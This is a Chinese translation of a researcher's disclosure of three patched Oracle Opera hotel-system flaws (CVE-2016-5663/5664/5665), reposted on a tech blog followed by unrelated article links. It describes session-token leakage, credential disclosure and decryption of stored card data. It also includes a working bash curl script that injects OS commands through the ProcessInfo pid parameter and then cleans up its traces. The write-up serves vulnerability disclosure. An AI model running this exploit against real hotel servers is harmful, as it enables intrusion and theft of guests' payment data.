Oracle酒店管理平台远程命令执行和持卡人数据解密漏洞分析
mhr18 2024-09-15 21:51 24 浏览 0 评论
翻译:ResoLutiOn
预估稿费:200RMB(不服你也来投稿啊!)
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
前言
近期,我发现在一些大型商务酒店所使用的前台数据管理系统(Oracle Opera)中存在多个安全漏洞。黑客可利用这些漏洞,进行酒店订房App提权,以获得更高的用户使用权限;同时还能够进入酒店管理网络的后台数据库及操作系统,实施RCE攻击。攻击者利用这些漏洞,可在未经身份验证的情况下,进入Oracle Opera数据库系统,盗取酒店顾客的身份信息、电话号码等隐私数据。据悉,甲骨文公司(Oracle)已经接到了漏洞相关情况的报告,及时对漏洞进行了修复,并发布了漏洞报告,在其中详细描述了漏洞的具体情况。[报告传送门]
Oracle Opera系统简介
Oracle Opera(也称为Opera PMS,前身为Micros Opera)是由甲骨文旗下的子公司Micros为全球范围内各大商务酒店量身打造的一款酒店前台操作系统。它能为酒店管理层和员工提供全方位、系统化的管理工具,以便其能快捷高效地处理客户资料、顾客预订、入住退房、客房分配、房内设施管理以及账户账单管理等日常工作。凯悦(Hyatt)、希尔顿(Hilton)等全球知名酒店使用的均是Opera PMS操作系统。
在顾客完成费用支付的过程中,该应用程序会将顾客的银行卡的相关信息,包括:PAN码(信用卡账户编号)、失效日期、持卡人姓名等,保存在系统后台的数据库中。目前,相关安全人员已披露了3种能够进入该后台数据库的攻击方式。一旦攻击者拿到了该数据库的登录权限,他便能盗取并解密其中保存的隐私数据。
经过分析后我发现,用户数据之所以会遭到黑客窃取,问题主要出在Opera PMS系统本身,而与用户的操作无关;同时,如果仅使用黑盒测试是无法唯一确定漏洞的性质的。不同于以往的漏洞解决方案(供应商接到漏洞报告,并通过内部测试的方法修复漏洞),由于Opera PMS系统供应商向广大用户提供了详尽的解决方案,这便给黑客攻击Opera PMS系统创造了巨大的空间。攻击者很容易知晓该软件存在的缺陷,并可对其合法性进行分析测试。在经过相应的动态分析和静态分析之后,攻击者便能找到“进入”该系统数据库的最佳切入点。
漏洞详解
No.1 CVE-2016-5665:窃取系统日志文件,实施会话劫持
在用户登录Oracle Opera系统后,他们可以选择其中一个系统接口进行交互会话。启动其中接口的请求中包含了用户会话令牌、特定接口启动参数等相关信息。
这里存在一个问题,即:由于系统会将用于实现用户交互的会话令牌和其他参数放置在一个目录文件中,而黑客在未经身份验证的情况下,便能通过Web服务器访问该文件。这便是威胁所在。
而黑客所需要做的便是“守株待兔”,等待一位具有系统管理员身份的用户登录Opera。待该用户登陆成功之后,他便可通过应用程序,拿到系统的所有操作权限,对其中的数据进行任意操作。因为系统管理员具有较高的系统使用权限,能够对数据库中的数据进行查询、修改和删除等重要操作。一旦攻击者拿到了管理员权限,那么数据泄漏则无法避免。
需要说明的是,攻击者往往不会采用上述的方法来窃取用户信息,因为它速度太慢且不够“安全”,容易被识破。系统将用户提交的每一项查询语句保存于应用层。相比于使用Oracle Form提供的用户交互接口,直接与数据库服务器建立连接的方式要快得多,可以提高效率。
No.2 CVE-2016-5664:攻击者可泄漏系统数据库的凭证信息
若攻击者与数据库服务器共用一个网络,那么他便可通过构造一个数据库连接字符串的方式,盗取数据库的相关凭证。因为在Oracle Opera系统中,数据库凭证以及服务名等信息,是通过系统向服务器发送一个已经经过验证的HTML请求的方式返回的,用来启用Oracle Forms软件。攻击者在执行一个未经验证的Servlet程序时,便可获得该数据库服务器的主机名。
在拿到数据库的凭证信息后,攻击者便可通过编译简单的连接语句,利用Sql*plus(用户与oracle数据库进行交互的客户端工具),建立与数据库的连接。之后,他便能以管理员的身份登录,骗取系统的信任,对数据库进行实时监控。
No.3 CVE-2016-5663:通过系统命令注入,实施RCE攻击
在以下两种情况中,攻击者可利用该RCE漏洞:
(1)攻击者仅能获取到应用程序服务器的登录权限(例如:Internet Exposure);
(2)攻击者仅能通过应用程序服务器连接到数据库;
以上便是我在调查过程中,得出的最满意的结果。因为以上二者看似无关,但将它们结合在一起,便能揭示出攻击者的恶意企图。
在系统中含有一个判断数据传输过程正误的程序。在数据传输完成后,它将会给系统返回确认信息,例如:网络端口号(PID)等。而在黑盒测试中,PID参数是放在一个用于执行系统指令的字符串中,不容易被察觉。攻击者可按下图所示的步骤进行操作:修改该参数来执行另一个命令,并可通过web服务器将输出结果放入另一个可读取的文件中。
若一切顺利,该程序会输出结果whoami,并将其放在webtemp文件下。若运行出错,那么系统将会提示“找不到相应文件”的错误信息。
在浏览了该程序的编译代码后,我们会发现出错之处(即下图内红框标识部分)。在编译好的代码中包含了pslist工具(pslist:查看系统进程,是一个属性文件)的运行路径。该文件的存储路径经过硬编码处理,为:D:\micros\opera\operaias\default.env,但我按此路径查找后发现,该文件并不存在。
为了修改这一错误,需要进行以下两步操作:
(1)在系统中找到OPERA_HOME属性的值;
(2)将其保存到D:\micros\opera\operaias\default.env.路径下。
巧合的是,我在系统中发现了另一个诊断程序,它能够查看OPERA_HOME属性信息。如下图所示:
接着,我们便可将刚才那个Servlet程序作为RFI载体,上传至目标路径:
我利用ProcessInfo程序检查之后发现,该错误已经修改了。同时,系统给出的输出结果“whoami”也证实了该应用程序能够正常运行了。
下面的脚本程序可用于验证操作:
123456789101112131415161718 | #!/bin/bash STDOUT="D:\micros\opera\operaias\webtemp\temp.log" if [ "$#" -ne 2 ]; then echo "Usage: $0 <host> <command>" echo "E.g. : $0 http://opera.example.biz whoami" exit 1 else host="$1" cmd="$2" fi # Activate exploit. curl -s -XPOST --data-binary "OPERA_HOME=D:\micros\opera" "$host/Operajserv/webarchive/FileReceiver?filename=D:/micros/opera/operaias/default.env&crc=26&append=false" > /dev/null # Inject command. curl -s -G --data-urlencode "pid=1 & $cmd > \"$STDOUT\" 2" "$host/Operajserv/webarchive/ProcessInfo" > /dev/null curl -# -G "$host/webtemp/temp.log" # Deactivate exploit. curl -s -G --data-urlencode "pid=1 & del \"$STDOUT\" 2" "$host/Operajserv/webarchive/ProcessInfo" > /dev/null curl -s -G --data-urlencode 'pid=1 & del "D:\micros\opera\operaias\default.env" 2' "$host/Operajserv/webarchive/ProcessInfo" > /dev/null |
持卡人信息解密:
利用上述我所讲的漏洞利用过程,攻击者可拿到数据库的登录权限,从任何一个未经授权的接口进入Oracle Opera系统数据库,进而能够窃取银行卡持卡人的私密数据,并对其进行解密。
在SQL中,用于查询数据包包体(package body)的命令语句如下所示:
由于包体信息容易与其他信息混淆,因而,攻击者便可进一步检索包体的信息,或是用其来“破解”出3DES算法的密钥。
现在,算法和密钥都已经得知了,攻击者的下一步操作便是找到加密数据的存储位置。他能在Opera资料库中获得这些信息。
一项能够用于查询NAMES_CREDIT_CARD表中数据的查询语句,能够显示出用户名和其他加密的银行卡信息。同时,攻击者还可通过一个脚本程序,将加密信息解析为明文。
后记
我对甲骨文公司发布的漏洞报告感到非常满意,漏洞描述很详尽。同时,在我向甲骨文公司提交了关于PGP公钥安全漏洞报告的24小时之内,他们便给予了我回应。对此,我感到很欣慰。同时,甲骨文公司还表示,他们将会在下一次发布软件补丁更新包时,加入对CVE-2016-5663、CVE-2016-5664以及CVE-2016-5665等3个漏洞进行修复的程序。
相关推荐
- 一文读懂Prometheus架构监控(prometheus监控哪些指标)
-
介绍Prometheus是一个系统监控和警报工具包。它是用Go编写的,由Soundcloud构建,并于2016年作为继Kubernetes之后的第二个托管项目加入云原生计算基金会(C...
- Spring Boot 3.x 新特性详解:从基础到高级实战
-
1.SpringBoot3.x简介与核心特性1.1SpringBoot3.x新特性概览SpringBoot3.x是建立在SpringFramework6.0基础上的重大版...
- 「技术分享」猪八戒基于Quartz分布式调度平台实践
-
点击原文:【技术分享】猪八戒基于Quartz分布式调度平台实践点击关注“八戒技术团队”,阅读更多技术干货1.背景介绍1.1业务场景调度任务是我们日常开发中非常经典的一个场景,我们时常会需要用到一些不...
- 14. 常用框架与工具(使用的框架)
-
本章深入解析Go生态中的核心开发框架与工具链,结合性能调优与工程化实践,提供高效开发方案。14.1Web框架(Gin,Echo)14.1.1Gin高性能实践//中间件链优化router:=...
- SpringBoot整合MyBatis-Plus:从入门到精通
-
一、MyBatis-Plus基础介绍1.1MyBatis-Plus核心概念MyBatis-Plus(简称MP)是一个MyBatis的增强工具,在MyBatis的基础上只做增强不做改变,为简化开发、提...
- Seata源码—5.全局事务的创建与返回处理
-
大纲1.Seata开启分布式事务的流程总结2.Seata生成全局事务ID的雪花算法源码3.生成xid以及对全局事务会话进行持久化的源码4.全局事务会话数据持久化的实现源码5.SeataServer创...
- Java开发200+个学习知识路线-史上最全(框架篇)
-
1.Spring框架深入SpringIOC容器:BeanFactory与ApplicationContextBean生命周期:实例化、属性填充、初始化、销毁依赖注入方式:构造器注入、Setter注...
- OpenResty 入门指南:从基础到动态路由实战
-
一、引言1.1OpenResty简介OpenResty是一款基于Nginx的高性能Web平台,通过集成Lua脚本和丰富的模块,将Nginx从静态反向代理转变为可动态编程的应用平台...
- 你还在为 Spring Boot3 分布式锁实现发愁?一文教你轻松搞定!
-
作为互联网大厂后端开发人员,在项目开发过程中,你有没有遇到过这样的问题:多个服务实例同时访问共享资源,导致数据不一致、业务逻辑混乱?没错,这就是分布式环境下常见的并发问题,而分布式锁就是解决这类问题的...
- 近2万字详解JAVA NIO2文件操作,过瘾
-
原创:小姐姐味道(微信公众号ID:xjjdog),欢迎分享,转载请保留出处。从classpath中读取过文件的人,都知道需要写一些读取流的方法,很是繁琐。最近使用IDEA在打出.这个符号的时候,一行代...
- 学习MVC之租房网站(十二)-缓存和静态页面
-
在上一篇<学习MVC之租房网站(十一)-定时任务和云存储>学习了Quartz的使用、发邮件,并将通过UEditor上传的图片保存到云存储。在项目的最后,再学习优化网站性能的一些技术:缓存和...
- Linux系统下运行c++程序(linux怎么运行c++文件)
-
引言为什么要在Linux下写程序?需要更多关于Linux下c++开发的资料请后台私信【架构】获取分享资料包括:C/C++,Linux,Nginx,ZeroMQ,MySQL,Redis,fastdf...
- 2022正确的java学习顺序(文末送java福利)
-
对于刚学习java的人来说,可能最大的问题是不知道学习方向,每天学了什么第二天就忘了,而课堂的讲解也是很片面的。今天我结合我的学习路线为大家讲解下最基础的学习路线,真心希望能帮到迷茫的小伙伴。(有很多...
- 一个 3 年 Java 程序员 5 家大厂的面试总结(已拿Offer)
-
前言15年毕业到现在也近三年了,最近面试了阿里集团(菜鸟网络,蚂蚁金服),网易,滴滴,点我达,最终收到点我达,网易offer,蚂蚁金服二面挂掉,菜鸟网络一个月了还在流程中...最终有幸去了网易。但是要...
- 多商户商城系统开发全流程解析(多商户商城源码免费下载)
-
在数字化商业浪潮中,多商户商城系统成为众多企业拓展电商业务的关键选择。这类系统允许众多商家在同一平台销售商品,不仅丰富了商品种类,还为消费者带来更多样的购物体验。不过,开发一个多商户商城系统是个复杂的...
你 发表评论:
欢迎- 一周热门
-
-
Redis客户端 Jedis 与 Lettuce
-
高并发架构系列:Redis并发竞争key的解决方案详解
-
redis如何防止并发(redis如何防止高并发)
-
开源推荐:如何实现的一个高性能 Redis 服务器
-
redis安装与调优部署文档(WinServer)
-
Redis 入门 - 安装最全讲解(Windows、Linux、Docker)
-
一文带你了解 Redis 的发布与订阅的底层原理
-
Redis如何应对并发访问(redis控制并发量)
-
oracle数据库查询Sql语句是否使用索引及常见的索引失效的情况
-
Java SE Development Kit 8u441下载地址【windows版本】
-
- 最近发表
- 标签列表
-
- oracle位图索引 (63)
- oracle批量插入数据 (62)
- oracle事务隔离级别 (53)
- oracle 空为0 (50)
- oracle主从同步 (55)
- oracle 乐观锁 (51)
- redis 命令 (78)
- php redis (88)
- redis 存储 (66)
- redis 锁 (69)
- 启动 redis (66)
- redis 时间 (56)
- redis 删除 (67)
- redis内存 (57)
- redis并发 (52)
- redis 主从 (69)
- redis 订阅 (51)
- redis 登录 (54)
- redis 面试 (58)
- 阿里 redis (59)
- redis 搭建 (53)
- redis的缓存 (55)
- lua redis (58)
- redis 连接池 (61)
- redis 限流 (51)